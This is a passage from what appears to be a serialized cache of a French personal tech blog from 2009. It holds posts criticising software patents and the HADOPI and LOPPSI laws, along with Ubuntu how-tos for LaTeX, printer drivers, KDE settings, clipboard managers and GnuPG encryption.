Un format extrêmement simple, facile à mettre en œuvre et à utiliser même sans outils particuliers, et qui peut être exploité plus intelligemment par des outils spécifiques : une acceptation maximale par les utilisateurs.

Conclusion

Les critères de réussite présentés sont absolument nécessaires pour que le format soit un succès. Si un seul n’est pas respecté, le format CMX est voué à l’échec. Tout comme la loi DADVSI a été un échec. Tout comme l’échec est inscrit dans la loi HADOPI (sur les plans législatif, constitutionnel, technique, juridique, économique et commercial).

Cependant, elles ne seront peut-être pas suffisantes, la raison d’être des majors est de plus en plus mise en cause, même par certains artistes eux-mêmes (comme Radiohead). Et depuis l’explosion du numérique, ils font tout pour précipiter leur chute.

Espérons pour eux qu’ils suivront ces conseils…

Si vous pensez à d’autres critères, n’hésitez pas à les indiquer…

";s:7:"dateiso";s:15:"20090815_143229";}s:15:"20090812_230220";a:7:{s:5:"title";s:53:"Brevets logiciels : "patent" bénéfiques que ça…";s:4:"link";s:72:"http://blog.rom1v.com/2009/08/brevets-logiciels-patent-benefiques-que-ca";s:4:"guid";s:72:"http://blog.rom1v.com/2009/08/brevets-logiciels-patent-benefiques-que-ca";s:7:"pubDate";s:25:"2009-08-12T23:02:20+02:00";s:11:"description";s:0:"";s:7:"content";s:11713:"

Août, un mois riche en brevets XML

Microsoft, qui a toujours été favorable aux brevets logiciels, et qui le 4 août dernier a réussi à faire valider une demande de brevet relative à la gestion des documents XML, se voit maintenant interdit de vendre Microsoft Word aux États-Unis (et doit verser en plus 290 M$), car il viole un brevet détenu par la firme canadienne i4i (qui se prononce d’ailleurs “eye for eye”, “œil pour œil”).

Lorsqu’on lit ce genre d’information, l’ironie de la situation fait sourire, mais il ne faut pas oublier l’absurdité de cette notion de brevets logiciels…

Il était une fois le brevet 5787499

Avant de revenir sur les brevets en général et sur les brevets logiciels en particulier, il est intéressant de voir le contenu de ce brevet « violé » par Microsoft : il illustre bien (en tout cas pour ceux qui s’y connaissent un peu) le type d’inventions géniales que protègent un brevet logiciel.

Bizarrement indisponible ici et , le voici en pdf.

L’algorithme breveté

Après plein de blabla un peu rebutant sur l’intérêt de cette invention « innovanter », la description détaillée suivie d’exemples montre l’algorithme que ce brevet protège (pages 14 à 16). Le voici :

  1. Start at Character Position zero.

  2. Create storage space for the raw content.

  3. Create storage space for a metacode map.

  4. Set the elements in the map to zero.

  5. Read characters until a metacode is encountered based on metacode detection criteria.

  6. Copy the characters up to the start of the code into the mapped content storage or area.

  7. Increase the character position by the number of characters placed into the mapped content area.

  8. Create a new map element and place the code into it.

  9. With the map element store the character position of the beginning of the code.

  10. If there are more characters in the original then go to step 5.

  11. Conversion is complete, store the metacode map and the mapped content.

Et à quoi ça sert? Tout simplement à séparer un document XML (qui contient donc des balises et du contenu) en deux documents, un qui contient le contenu sans balises, l’autre qui contient les balises et la position où les insérer dans le contenu.

Il s’agit donc de transformer ce document :

<Chapter><Title>The Secret Life of Data</Title><Para>Data is hostile.</Para>The End</Chapter>

en d’une part :

The Secret Life of DataData is hostile. The End

et d’autre part :

1- <Chapter> : position 0
2- <Title> : position 0
3- </Title> : position 23
4- <Para> : position 23
5- </Para> : position 39
6- </Chapter> : position 46

Voilà, vous ne révez pas : ce brevet, qui coûte 290M$ à Microsoft et qui lui vaut l’interdiction de vendre Word aux USA, protège la séparation d’un document en deux documents…

Une absurdité technique

Personne n’en doute après les débats sur Hadopi, ceux qui votent les lois ne sont pas des informaticiens… et ceux qui les écrivent sont en partie des lobbies influents. Pas étonnant avec ces protagonistes d’arriver à des lois absurdes…

Il faut savoir qu’un programme est composé de données et de traitements. Pour le réaliser, un développeur a à sa disposition des structures de données, qui varient un peu selon les API des langages utilisées, mais on retrouve globalement toujours les mêmes (tableaux, listes chaînées, tableaux associatifs…). Quand il veut réaliser une tâche complexe, le programmeur écrit des données dans une structure, en lit dans une autre, les combine… un simple jeu de déplacements de données d’une structure à une autre pour faire ce qu’il veut faire… des procédures qui sont bien connues et même détaillées par exemple dans The Art of Computer Programming.

Un peu comme en mathématiques, on a à notre disposition des chiffres, des lettres (pour les variables par exemple), des fonctions (+, -, ×, ÷, ², , sin, cos, =, , <, >…), on les combine pour obtenir des équations :

Breveter le fait spécifique de séparer les données de manière à avoir les balises d’un côté et le contenu de l’autre, c’est un peu comme si en mathématiques on brevetait le fait de combiner la somme des carrés de deux nombres avec la fonction racine carrée √(a²+b²), parce qu’après tout M. Pythagore il aimerait bien en tirer profit de sa découverte, c’est normal, non?

Donc à partir de maintenant, si vous voulez connaître l’hypothénuse d’un triangle rectangle à partir de ses deux autres côtés, et bien il va falloir payer, sinon c’est le procès. Vous avez bien compris, mesdames et messieurs les architectes ?

Bon, finalement, ce n’est pas si grave, √(a²+b²) est breveté, mais √((a+b)²-2ab) ne l’est pas, youhou \o/

Eh oui, parce qu’un algorithme breveté c’est bien gentil, mais on peut arriver au même résultat par un algorithme différent. Par exemple, dans l’algorithme décrit précédemment, pour séparer les balises et le contenu, je fais un premier passage pour trouver toutes les balises, et un second passage pour trouver leur position, et je n’enfreins plus le brevet. On pourrait me rétorquer qu’un brevet protège des algorithmes équivalents, auquel cas je demanderais la définition précise de l’équivalence entre deux algorithmes (avec comme exemple l’algorithme de compression JPEG)…

Et si un brevet protègeait effectivement des « algorithmes équivalents » (si un juriste lit ce billet…), il s’agirait donc d’un brevet sur une idée (ici la séparation des balises et du contenu d’un XML en deux documents séparés).

Pour prendre une autre analogie plus simple, on est dans le même cas qu’une partition de musique : un musicien sait jouer des notes, un compositeur peut agencer les notes dans l’ordre qu’il veut pour faire une mélodie. Mais voilà qu’un compositeur a trouvé que la suite de note do-mi-sol c’était très bien, il dépose donc un brevet dessus. Maintenant, tous ceux qui veulent utiliser ces 3 notes à la suite devront payer ou subir un procès… Les brevets logiciels sont un cas tout aussi stupide.

Les brevets, à quoi bon?

Mettons de côté l’absurdité technique, car après tout, « la technique, on s’en fiche1 ».

Un brevet, ça sert à protéger une invention. Pourquoi? Pour favoriser l’innovation.

Effectivement, sans brevets, comment une entreprise pourrait investir des millions d’euros pour trouver quelque chose (une nouvelle molécule pour fabriquer un médicament par exemple) si aussitôt découvert, tous les concurrents pouvaient en faire commerce ? Il est donc important de protéger l’innovation, pour une durée limitée (généralement 20 ans2).

qui eux ont réussi à obtenir 70 ans de protection des droits patrimoniaux…

Les brevets ont donc une raison d’être.

Pour être brevetable, une invention doit cependant répondre à trois critères essentiels (cf wikipedia) :

  1. Elle doit être nouvelle, c’est-à-dire que rien d’identique n’a jamais été accessible à la connaissance du public, par quelque moyen que ce soit (écrit, oral, utilisation, …), où que ce soit, quand que ce soit.

  2. Sa conception doit être inventive, c’est-à-dire qu’elle ne peut pas découler de manière évidente de l’état de la technique, pour une personne connaissant le domaine technique concerné.

  3. Elle doit être susceptible d’une application industrielle, c’est-à-dire qu’elle peut être utilisée ou fabriquée de manière industrielle (ce qui exclut les œuvres d’art ou d’artisanat, par exemple).

C’est d’ailleurs sur ce troisième point que l’Europe refuse les brevets logiciels3, car elle considère que les logiciels sont des « créations de l’esprit ».

Pour les deux premiers points, des techniques nouvelles et inventives, lorsqu’il s’agit de traiter et de stocker des données sur une certaine forme, on peut en trouver une infinité… Il suffit de les breveter et faire des procès à ceux qui par inadvertance utilisent la même procédure. Et les brevets, ça rapporte !

Certaines sociétés l’ont bien compris, et se constituent des portefeuilles de brevets, leur seule raison d’exister étant de permettre de faire des procès.

NON aux brevets logiciels !

brevets_logiciels

Le logiciel est protégé par la loi sur les droits d’auteur. La loi sur les brevets, par contre, a peu à voir avec la protection. Au contraire, le droit des brevets met grandement en danger les vrais innovateurs parce que leurs créations indépendantes pourraient être attaquées par des racketteurs et des concurrents malveillants.

NON aux brevets logiciels!

  1. Remarque brevetée par plusieurs députés UMP qui ont voté pour Hadopi.

  2. Leurs lobbies sont moins performants que ceux de l’industrie du disque,

  3. Des lobbies rôdent et la bataille n’est pas terminée.

";s:7:"dateiso";s:15:"20090812_230220";}s:15:"20090715_223538";a:7:{s:5:"title";s:34:"Bien débuter en LaTeX sous Ubuntu";s:4:"link";s:63:"http://blog.rom1v.com/2009/07/bien-debuter-en-latex-sous-ubuntu";s:4:"guid";s:63:"http://blog.rom1v.com/2009/07/bien-debuter-en-latex-sous-ubuntu";s:7:"pubDate";s:25:"2009-07-15T22:35:38+02:00";s:11:"description";s:0:"";s:7:"content";s:10811:"

Je ne vais pas présenter LaTeX. Si vous ne connaissez pas, je vous renvoie sur la page LaTeX de Wikipedia.

LaTeX

Je vais plutôt présenter succintement l’installation de LaTeX et d’un éditeur pour Ubuntu, puis je vais lister les quelques points basiques qui peuvent poser problème et qui empoisonnent la vie quand on n’a pas de solutions :

Installation de base

Il faut tout d’abord installer le minimum : texlive.

Pour pouvoir gérer correctement le français, texlive-lang-french est nécessaire.

Il est conseillé d’installer également texlive-latex-extra, qui contient pas mal de greffons bien utiles.

Enfin, pour avoir des polices vectorielles (et non bitmap, qui sont pixellisées lors d’un zoom), il faut le paquet lmodern.

sudo apt-get install texlive texlive-lang-french texlive-latex-extra lmodern

Greffon pour gedit

Depuis Jaunty, le greffon LaTeX pour gedit est packagé dans les dépôts par défaut : gedit-latex-plugin.

Une fois installé, gedit s’enrichit d’une barre d’outil (lorsqu’un document .tex est ouvert) et d’un panneau inférieur (Ctrl+F9 pour l’activer et le désactiver) :

gedit-latex

Pour compiler le document, rien de plus simple, tout est dans le menu Outils :

gedit-latex-menu

Configuration de l’en-tête

Encodage des caractères

Par défaut, si aucune raison particulière ne préconise le contraire, tout texte devrait être encodé en UTF-8 : ça tombe bien, c’est l’encodage par défaut d’Ubuntu.

Si un jour vous rencontrez un problème d’encodage dans n’importe quel domaine, et que sur un forum quelqu’un vous indique que pour le résoudre, il faut changer l’encodage en latin1 (iso-8859-1), ne suivez pas son conseil, ça n’est pas une bonne solution (à part pour des problèmes de compatibilité avec un existant très vétuste).

Il faut indiquer au compilateur LaTeX que le document source est encodé en UTF-8. Pour cela, il suffit de rajouter dans l’en-tête la ligne suivante :

\usepackage[utf8]{inputenc}

Accents, bidouille et coupure de mots

Maintenant que l’encodage est correctement reconnu, il reste un petit problème avec les caractères accentués. Lorsqu’on écrit le caractère é par exemple, le compilateur sait le reconnaître (codage UTF-8), mais l’encodage de la police par défaut ne permet pas de le dessiner directement : elle ne contient pas ce caractère. Pour contourner le problème, le compilateur écrit un e avec un ' au-dessus (\'e).

À première vue, ça n’est pas gênant, le rendu est nickel. Sauf que cela pose deux problèmes :

Pour éviter le problème, il faut rajouter dans l’en-tête :

\usepackage[T1]{fontenc}

Méta-données

Le package hyperref est quasiment incontournable pour générer des PDF, il permet de personnaliser pas mal de choses, et surtout de faire des liens cliquables (à l’intérieur du document ou vers une url externe)… Pour l’utiliser, il suffit de rajouter le package dans l’en-tête, auquel on peut spécifier des options :

\usepackage[bookmarks=false,colorlinks,linkcolor=blue]{hyperref}

Ici, par exemple, j’ai précisé que je ne voulais pas générer l’index du document (qui s’affiche par défaut dans certaines visionneuses de PDF, notamment le logiciel privateur Adobe Reader), que je voulais colorer les liens plutôt que de les encadrer (ce que je trouve particulièrement moche) et que je les voulais en bleu.

Ce package permet également de renseigner les propriétés du documents (les méta-données), ce qui est bien utile pour le référencement.

On trouve souvent la méthode qui consiste à ajouter les propriétés du document directement en option d’hyperref :

\usepackage[pdfauthor={Romain Vimont},pdftitle={Démo LaTeX}]{hyperref}

Mais elle ne supporte pas tous les caractères, par exemple :

\usepackage[pdfauthor={Romain Vimont (®om)},pdftitle={Démo LaTeX}]{hyperref}

Une bonne pratique est donc de les écrire séparément (et là ça fonctionne) :

\hypersetup{
  pdftitle={Démo LaTeX},
  pdfsubject={Modèle de document LaTeX},
  pdfkeywords={LaTeX, modèle},
  pdfauthor={Romain Vimont (®om)}
}

La liste complète des propriétés est disponible ici.

latex-properties

Marges

Les marges par défaut des documents générés sont énormes. Les étudiants en sont très contents quand ils doivent écrire un rapport de stage de 40 pages dont ils viennent difficilement à bout, mais dans beaucoup d’autres cas, c’est une perte de place. Même s’il y a une raison à cela, on peut vouloir les diminuer.

Le package geometry rend cette opération très simple :

\usepackage[top=1.5cm,bottom=1.5cm,left=1.5cm,right=1.5cm]{geometry}

Quelques réglages PDF

Il est possible de définir la version de PDF à utiliser (j’en ai eu besoin par exemple pour intégrer correctement des images png transparentes, qui ne fonctionnait pas avec PDF inférieur à 1.6) et le niveau de compression, permettant de gagner quelques kilo-octets sur le fichier final.

\pdfminorversion 7
\pdfobjcompresslevel 3

Conclusion

Voici donc un modèle de document prêt à être compilé :

\pdfminorversion 7
\pdfobjcompresslevel 3

\documentclass[a4paper]{article}

\usepackage[utf8]{inputenc}
\usepackage[T1]{fontenc}
\usepackage[francais]{babel}
\usepackage[bookmarks=false,colorlinks,linkcolor=blue]{hyperref}
\usepackage[top=1.5cm,bottom=1.5cm,left=1.5cm,right=1.5cm]{geometry}

\hypersetup{
  pdftitle={Démo LaTeX},
  pdfsubject={Modèle de document LaTeX},
  pdfkeywords={LaTeX, modèle},
  pdfauthor={Romain Vimont (®om)}
}

\begin{document}

\section{Première section}

\subsection{Une sous-section}

Du texte\dots

\subsection{Une autre sous-section}

\section{Une autre section}

\end{document}
";s:7:"dateiso";s:15:"20090715_223538";}s:15:"20090630_202750";a:7:{s:5:"title";s:50:"Aperçus des fichiers OpenOffice.org dans nautilus";s:4:"link";s:79:"http://blog.rom1v.com/2009/06/apercus-des-fichiers-openoffice-org-dans-nautilus";s:4:"guid";s:79:"http://blog.rom1v.com/2009/06/apercus-des-fichiers-openoffice-org-dans-nautilus";s:7:"pubDate";s:25:"2009-06-30T20:27:50+02:00";s:11:"description";s:0:"";s:7:"content";s:766:"

Par défaut, Ubuntu ne gère pas les aperçus des fichiers ODF (format utilisé par OpenOffice.org), contrairement aux fichiers images, aux fichiers PDF, etc. On se retrouve alors avec une simple icône :

oooicon

C’est quand même plus pratique d’obtenir un aperçu du document comme ceci :

ooothumb

EDIT: en fait c’est beaucoup plus simple que prévu.

Il suffit d’installer les paquets libgsf-bin et imagemagick :

sudo apt-get install libgsf-bin imagemagick

et de redémarrer la session.

";s:7:"dateiso";s:15:"20090630_202750";}s:15:"20090629_205646";a:7:{s:5:"title";s:37:"Canon PIXMA iP1600 sous Ubuntu Jaunty";s:4:"link";s:67:"http://blog.rom1v.com/2009/06/canon-pixma-ip1600-sous-ubuntu-jaunty";s:4:"guid";s:67:"http://blog.rom1v.com/2009/06/canon-pixma-ip1600-sous-ubuntu-jaunty";s:7:"pubDate";s:25:"2009-06-29T20:56:46+02:00";s:11:"description";s:0:"";s:7:"content";s:2311:"

Ce billet est un petit aide-mémoire pour moi-même.

EDIT 30/05/2010 : Attention, ceci ne fonctionne pas sous Ubuntu Lucid Lynx (10.04). Je vous conseille de suivre ce post car la procédure change à chaque version…

L’imprimante Canon PIXMA iP1600 fonctionne avec les pilotes de l’iP2200, disponible sur mon serveur ici: http://dl.rom1v.com/ip1600/ (normalement il faut télécharger les paquets en .rmp sur le site de Canon, puis les convertir en .deb, mais je me suis déjà occupé de cette étape).

Pour télécharger les .deb directement :

wget http://dl.rom1v.com/ip1600/cnijfilter-{common,ip2200}_2.60-2_i386.deb

Ensuite il faut les installer. Pour un système 32 bits :

sudo dpkg -i cnijfilter-*.deb

Il faut ensuite rajouter des liens car les pilotes n’utilisent pas les bonnes versions des dépendances :

sudo ln -s /usr/lib/libtiff.so.{4,3}
sudo ln -s /usr/lib/libpng{12.so.0,.so.3}

Pour un système 64 bits, c’est plutôt :

sudo dpkg -i --force-architecture cnijfilter-*.deb

et :

sudo ln -s /usr/lib32/libtiff.so.{4,3}
sudo ln -s /usr/lib32/libpng{12.so.0,.so.3}

Ensuite, il suffit de brancher, allumer et ajouter l’imprimante dans Système → Administration → Impression en cliquant sur le bouton Nouveau.

« Canon iP1600 » doit apparaître dans la liste des périphériques, la sélectionner et cliquer sur Suivant.

Choisir « Fournir un fichier PPD » et sélectionner le fichier :

/usr/share/cups/model/canonip2200.ppd

Il ne reste plus qu’à répondre à quelques questions basiques (choisir un nom pour l’imprimante…), et voilà. Normalement, ça fonctionne !

Si des problèmes de dépendances persistent (l’imprimante n’imprime pas), cette commande peut être utile :

ldd /usr/local/bin/cifip2200
";s:7:"dateiso";s:15:"20090629_205646";}s:15:"20090627_231017";a:7:{s:5:"title";s:19:"Inquiétante LOPPSI";s:4:"link";s:48:"http://blog.rom1v.com/2009/06/inquietante-loppsi";s:4:"guid";s:48:"http://blog.rom1v.com/2009/06/inquietante-loppsi";s:7:"pubDate";s:25:"2009-06-27T23:10:17+02:00";s:11:"description";s:0:"";s:7:"content";s:812:"

Le projet de loi LOPPSI (Loi d’Orientation et de Programmation pour la Performance de la Sécurité Intérieure) a été présenté le 27 mai 2009 en conseil des ministres par Michèle Alliot-Marie. Il ne devrait pas tarder à passer à l’Assemblée Nationale.

Ce texte « fourre-tout » contient des dispositifs concernant internet inquiétants pour la démocratie, la liberté d’expression et l’égalité devant la loi.

J’ai préparé une analyse des articles concernés (2, 3, 4 et 23) de ce projet de loi : loppsi.pdf.

Si vous avez des remarques, des contre-arguments, des choses à ajouter… n’hésitez pas !

";s:7:"dateiso";s:15:"20090627_231017";}s:15:"20090619_224330";a:7:{s:5:"title";s:60:"Gestionnaire de presse-papiers : indispensable sous Gnome !";s:4:"link";s:85:"http://blog.rom1v.com/2009/06/gestionnaire-de-presse-papiers-indispensable-sous-gnome";s:4:"guid";s:85:"http://blog.rom1v.com/2009/06/gestionnaire-de-presse-papiers-indispensable-sous-gnome";s:7:"pubDate";s:25:"2009-06-19T22:43:30+02:00";s:11:"description";s:0:"";s:7:"content";s:1782:"

La gestion du presse-papiers de Gnome par défaut est assez rudimentaire.

Faites le test :

Eh oui, le contenu du presse-papiers est perdu en même temps que la fermeture du programme d’où il provient…

Pour éviter cela, il faut un Gestionnaire de presse-papiers. KDE en a un par défaut : klipper.

Sous Gnome, il faut en installer un. Il en existe plusieurs, mais personnellement je vous conseille parcellite. Il suffit de l’installer, il se lancera tout seul à chaque démarrage. Il ajoute une icône dans le systray, à partir de laquelle il est possible de le configurer, mais le principal, c’est qu’il permette de ne pas perdre le contenu copié… Il mémorise aussi les n derniers contenus (configurable). Petit inconvénient, il n’est pas en français, mais de toute façon une fois lancé, on n’y touche plus.

parcellite

Sinon, il existe également glipper sous la forme d’un applet à ajouter au tableau de bord, mais le problème est qu’il plante à quasiment chaque démarrage du système (même si une fois lancé il fonctionne bien).

";s:7:"dateiso";s:15:"20090619_224330";}s:15:"20090619_221232";a:7:{s:5:"title";s:36:"Configurer les applis KDE sous Gnome";s:4:"link";s:66:"http://blog.rom1v.com/2009/06/configurer-les-applis-kde-sous-gnome";s:4:"guid";s:66:"http://blog.rom1v.com/2009/06/configurer-les-applis-kde-sous-gnome";s:7:"pubDate";s:25:"2009-06-19T22:12:32+02:00";s:11:"description";s:0:"";s:7:"content";s:3983:"

Même en utilisant Gnome, il peut arriver de vouloir utiliser des applications KDE (Qt), telles que amarok, digikam, kile ou d’autres… Et là, c’est le drame :

Applis KDE en Français

Pour le premier problème, c’est vite réglé, il suffit d’installer le paquet kde-i18n-fr :

sudo apt-get install kde-i18n-fr

EDIT: Sous Ubuntu Lucid Lynx (10.04), le paquet s’appelle maintenant kde-l10n-fr :

sudo apt-get install kde-l10n-fr

SystemSettings

Pour le reste, si on ne veut pas éditer des fichiers de configuration à la main, il faut la fenêtre de configuration de KDE : systemsettings. Mais si on n’installe que ce paquet, la fenêtre de configuration est presque vide ; pour pouvoir tout configurer, il faut également le paquet kdebase-workspace-bin (et ses dépendances)… et ça quand on ne le sait pas, on galère`!

sudo apt-get install systemsettings kdebase-workspace-bin

Une fois installé, il suffit de lancer systemsettings (Applications → Outils Système → System Settings).

Si la fenêtre est toujours vide, exécutez la commande kbuildsycoca4.

Quelques icônes n’apparaissent pas (elles sont remplacées par l’icône par défaut), ça n’est pas bien grave.

EDIT: Attention, ceci risque de modifier le rendu des polices de caractères dans certaines applications (notamment Firefox), à cause de certaines configurations par défaut de KDE. Pour résoudre ce problème, il faut supprimer (ou renommer) le fichier ~/.fonts.conf :

mv ~/.fonts.conf{,.old}

Apparence

systemsettings-main

Dans la configuration de l’apparence (première icône), il est possible de modifier le style (choisir GTK+ au lieu de Oxygen pour une meilleure intégration dans Gnome), le thème d’icônes (par exemple Human) et les polices de caractères (même si personnellement, je n’arrive pas à avoir le même rendu que les polices de Gnome, au moins je peux les mettre à la même taille).

systemsettings-appearance

Comportement de la souris

Dans le menu principal de systemsettings, vers le bas se trouve le bouton Clavier & Souris : c’est là qu’il est possible de configurer le comportement de la souris, en particulier effectuer les actions sur double clic plutôt que sur simple clic :

systemsettings-mouse

Résultat

Et voilà le résultat pour la fenêtre de dolphin (le navigateur de fichiers de KDE4) :

dolphin-gnome

";s:7:"dateiso";s:15:"20090619_221232";}s:15:"20090522_102622";a:7:{s:5:"title";s:53:"GnuPG : chiffrer et signer sous Ubuntu pour les nuls";s:4:"link";s:80:"http://blog.rom1v.com/2009/05/gnupg-chiffrer-et-signer-sous-ubuntu-pour-les-nuls";s:4:"guid";s:80:"http://blog.rom1v.com/2009/05/gnupg-chiffrer-et-signer-sous-ubuntu-pour-les-nuls";s:7:"pubDate";s:25:"2009-05-22T10:26:22+02:00";s:11:"description";s:0:"";s:7:"content";s:13830:"

Ce billet présente l’utilisation de GnuPG sous Ubuntu pour chiffrer ses fichiers, ses mails ou sa messagerie instantanée. Tout ceci sans jamais passer par la ligne de commande.

Principe

Je ne vais pas expliquer comment fonctionne le chiffrement, c’est déjà bien expliqué sur wikipedia. Il est important de comprendre le principe.

Pour résumer, si A possède une clé publique Apub et une clé privée Apriv, si B possède une clé publique Bpub et une clé privée Bpriv. et si A envoie un message à B :

Créer sa paire de clés

menu_chiffrement

Pour créer sa paire de clés (une clé publique et une clé privée) :

Quelques informations sont demandées :

gpg_new_key

Personnellement, je préfère décocher « N’expire jamais », et faire expirer la clé au bout de deux ans, au cas où la clé serait perdue…

Il ne reste plus qu’à cliquer sur Créer, une phrase de passe (un long mot de passe) est demandée, et les clés sont générées. Une nouvelle ligne apparaît alors dans « Mes clés personnelles » :

seahorse

Si vous avez plusieurs e-mails et/ou adresses Jabber, vous pouvez les rajouter en cliquant droit sur votre clé, Propriétés, Noms et signatures.

Une fois créée, je vous conseille de garder une copie du répertoire ~/.gnupg, qui contient votre clé privée, sur un support externe (une clé USB).

Déverrouiller la clé privée durablement

Il est possible de laisser la clé déverrouillée pendant un certain temps après avoir tapé la phrase de passe. Cela évite de la retaper à chaque fois.

Pour changer ce comportement, il faut aller dans Système → Préférences → Chiffrement et trousseaux, dans l’onglet « Phrases de passe PGP » :

gpg_unlock

Exporter sa clé publique

Maintenant que nous avons créé notre paire de clés, il faut que notre clé publique soit accessible à ceux avec qui nous souhaitons communiquer.

Il suffit pour cela de sélectionner la clé et de cliquer sur le bouton Exporter… : la clé publique sera alors exportée dans un fichier portant l’extension .asc. Il ne reste plus qu’à donner ce fichier à notre contact, qui n’aura qu’à double-cliquer dessus (à partir du navigateur de fichiers) ou l’importer dans Fichier → Importer… (Ctrl+I).

Il est également possible de l’exporter dans le presse-papier, pour pouvoir la coller n’importe où avec Ctrl+V, sans passer par un fichier : il suffit pour cela de cliquer-droit sur la clé, puis de cliquer sur Copier.

Pour une diffusion plus globale, il existe des serveurs de clés : ils répertorient les clés publiques de tout le monde. Par exemple, il est possible de publier sa clé sur pgp.mit.edu, en y copiant le contenu du fichier .asc exporté.

Attention : une clé publiée ne sera jamais supprimée du serveur, elle pourra simplement être révoquée, en créant un certificat de révocation, indiquant à tous que votre clé est invalide. Ne publiez donc que votre clé “définitive”.

Il est également possible de configurer le gestionnaire de clés pour qu’il les publie et synchronise directement, en activant dans Édition → Préférences → Serveurs de clés → Publier les clés sur….

Grâce à ces serveurs de clés, il est facile de trouver la clé publique d’une personne directement dans le gestionnaire de clés. Il faut cliquer sur le bouton « Chercher des clés distantes… » et taper le nom de la personne, son mail ou l’identifiant de sa clé (la suite de 8 caractères hexadécimale qui apparaît dans la liste des clés) :

gpg_search

Et le résultat :

gpg_results

(la première est barrée car c’était mon ancienne clé, que j’ai révoquée lorsque mon ordinateur a été volé)

Il ne reste plus qu’à cliquer sur Importer.

Signer les clés obtenues de confiance

Une fois la clé d’un contact récupérée, il est possible de la signer pour indiquer qu’on a confiance en cette clé. Certains logiciels n’acceptent d’ailleurs que les clés de confiance. Pour cela, dans l’onglet « Autres clés obtenues » du gestionnaire de clés, il faut cliquer-droit sur une clé, puis « Signer la clé… » :

gpg_sign_key

Avant de signer une clé, il est très important de comparer l’empreinte affichée dans les détails de la clé que vous avez récupérée avec celle de votre contact. Cela permet de détecter la récupération d’une fausse clé.

Voilà, maintenant tout est en place, nous pouvons commencer à chiffrer et à signer.

Chiffrer et signer des fichiers

C’est très simple : il suffit de cliquer-droit sur un fichier, et de choisir Chiffrer ou Signer :

gpg_contextual_menu

Ces fonctions nécessitent le paquet seahorse-plugins, qui n’est plus installé par défaut dans Ubuntu 9.10).

Chiffrer

L’outil de chiffrement demande les destinataires qui pourront déchiffrer le fichier (avec leur clé privée). Tous ceux n’étant pas dans la liste des destinataire n’auront aucun moyen de déchiffrer le fichier. En particulier, il peut être utile de s’ajouter en destinataire.

Il est également possible de signer le fichier en même temps (pour que celui qui le déchiffre soit sûr de l’identité de celui qui l’a chiffré).

gpg_encrypt

Il ne reste plus qu’à cliquer sur Valider. Lorsque l’on choisit de signer le fichier en même temps, la phrase de passe de la clé privée est demandée. Ensuite, le fichier est chiffré dans un nouveau fichier portant l’extension .pgp (alors qu’en ligne de commande, cela crée un fichier .gpg, mais peu importe).

Pour le déchiffrer, il suffit de double-cliquer dessus.

Signer uniquement

L’outil de signature demande avec quelle clé nous souhaitons signer (utile si plusieurs utilisateurs utilisent chacun une clé), demande ensuite la phrase de passe (pour déverrouiller la clé), et crée la signature dans un fichier portant l’extension .sig.

Pour vérifier la signature, il suffit de double-cliquer sur ce .sig, une notification indiquera si la signature est valide :

gpg_verif_sign

Si le fichier est assez volumineux, cela peut prendre un moment (20 ou 30 secondes), et parfois aucune fenêtre ne s’ouvre indiquant que la vérification est en cours, ce qui est assez perturbant ; mais le processeur, lui, tourne bien à plein régime pour vérifier la signature.

Chiffrer et signer des e-mails (avec Evolution)

Dans Evolution (le gestionnaire de mails par défaut sous Ubuntu), il faut associer la clé que nous avons créée avec le compte mail. Pour cela, ouvrir le menu Édition → Préférences → Comptes de messagerie, sélectionner le compte de messagerie auquel associer la clé, et cliquer sur Édition. Dans l’onglet « Sécurité », recopier l’identifiant de la clé en question, et valider.

Ensuite, lors de la rédaction d’un message, il est possible d’activer la signature et le chiffrement :

gpg_evolution_mail

Pour que le chiffrement fonctionne, il faut évidemment avoir dans le trousseau de clés les clés publiques de tous les destinataires du mail.

Lorsque nous recevons un message chiffré et/ou signé, Evolution vérifie la signature et déchiffre le mail. Pour l’illustrer, je me suis envoyé à moi-même un message chiffré et signé, lorsque je l’ouvre, Evolution me demande la phrase de passe (pour déchiffrer le message), et ensuite me l’affiche de cette manière :

gpg_evolution_received

Chiffrer ses communications Jabber (avec Gajim)

Il est préférable d’utiliser OTR pour la messagerie instantanée, GPG n’est pas approprié.

Dans gajim (le client Jabber de référence), il faut associer la clé avec le compte Jabber. Pour cela, ouvrir le menu Édition → Comptes, sélectionner le compte, et dans l’onglet « Informations personnelles », choisir la clé à associer. Au passage, activer la case « Utiliser un Agent GPG ».

Une fois la clé associée au compte, gajim va toujours se connecter en signant la présence. Et qui dit signature dit déverrouillage de la clé privée, et donc demande de la phrase de passe à chaque démarrage de gajim. Il est possible de désactiver la signature de la présence : Édition → Préférences, onglet « Avancées » → « Éditeur de configuration avancé » → Ouvrir… et faire passer gpg_sign_presence à Désactivé.

Ensuite, il faut avoir les clés publiques des contacts avec qui nous souhaitons communiquer de manière chiffrée. Ces clés doivent être de confiance. Pour assigner une clé à un contact Jabber, il faut cliquer-droit sur ce contact, Gérer le Contact → Assigner une clé OpenPGP… :

gpg_gajim_assign

Ensuite, lors de la conversation, il est possible d’activer le chiffrement :

gpg_gajim_enable

Inutile de vous dire que pour la messagerie instantanée, il vaut mieux avoir configuré le trousseau pour que la clé soit déverrouillée durablement, afin de ne pas retaper la phrase de passe à chaque message.

Seahorse-applet : l’applet Gnome

Un applet Gnome permet de chiffrer, déchiffrer et signer le presse-papier. Sachant que le presse-papier contient ce qui est surligné avec la souris (ou ce qui est copié avec Ctrl+C), c’est parfois bien pratique. Pour l’ajouter, il faut cliquer droit sur un panel de Gnome (la barre du haut par exemple), puis « Ajouter au tableau de bord… », et l’ajouter :

gpg_gnome_applet

gpg_import_key

Petit plus, lorsque le presse-papier contient une clé, l’applet permet de l’importer directement dans le trousseau de clés. Une fois que vous avez ajouté l’applet, essayez de sélectionner tout le texte de ma clé publique.

Ensuite, cliquez sur le bouton de l’applet : vous pourrez importer ma clé directement.

Merci à cyril pour cette astuce :-)

Aller plus loin

Pour plus d’infos sur l’outil gpg, rendez-vous sur le site officiel (en anglais) ou sur la doc ubuntu-fr.

Vous pouvez également consulter man gpg pour l’utiliser en ligne de commande.

";s:7:"dateiso";s:15:"20090522_102622";}s:15:"20090521_082731";a:7:{s:5:"title";s:39:"Jaunty : thème New Wave peu performant";s:4:"link";s:66:"http://blog.rom1v.com/2009/05/jaunty-theme-new-wave-peu-performant";s:4:"guid";s:66:"http://blog.rom1v.com/2009/05/jaunty-theme-new-wave-peu-performant";s:7:"pubDate";s:25:"2009-05-21T08:27:31+02:00";s:11:"description";s:0:"";s:7:"content";s:1281:"

